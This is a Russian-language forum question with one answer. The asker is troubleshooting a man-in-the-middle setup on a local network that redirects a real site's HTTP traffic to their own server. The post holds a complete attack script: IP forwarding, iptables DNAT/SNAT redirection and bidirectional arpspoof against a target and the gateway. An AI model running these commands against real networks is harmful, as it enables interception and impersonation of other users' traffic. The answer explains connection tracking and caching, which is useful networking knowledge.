Я пытаюсь провести атаку «человек посередине» в своей локальной сети и пытаюсь заменить сервер navigationshilfe1.t-online.de своим собственным сервером. Позже я хочу заменить пользовательскую службу вместо службы http. Мои текущие сценарии выглядят так:

sysctl -w net.ipv4.ip_forward=1

export TARGET=192.168.2.104
export ATTACKER=192.168.2.115
export GATEWAY=192.168.2.1
export SITE=62.138.238.45 #  navigationshilfe1.t-online.de

iptables -t nat -F

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -d $SITE -j DNAT --to-destination $ATTACKER:80
iptables -t nat -A POSTROUTING -p tcp -s $ATTACKER --source-port 80 -j SNAT --to-source $SITE:80

iptables -t nat -L -n -v

arpspoof -i eth0 -c both -t $TARGET -r $GATEWAY

Проблема в том, что иногда веб-браузер цели показывает реальный сайт, и если я обновляю страницу несколько раз, он показывает фальшивый и наоборот. Кто-нибудь знает почему или связь просто плохая?

1 ответ1

0

Есть несколько возможностей

Обратите внимание, что правила iptables nat работают только для первого пакета соединения. Как только соединение установлено, используются внутренние таблицы сопоставления.

Браузеры повторно используют соединения, чтобы сохранить накладные расходы на настройку соединения. Таким образом, если в вашем браузере все еще есть открытые подключения, прежде чем вы добавили правила, запросы на эти подключения не будут перенаправлены.

Другая возможность заключается в том, что вы видите влияние кеширования в браузере. Браузеры часто выполняют "условное получение", которое перезагружает страницу только в том случае, если временные метки указывают, что она изменилась с момента последней загрузки ее клиентом.

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .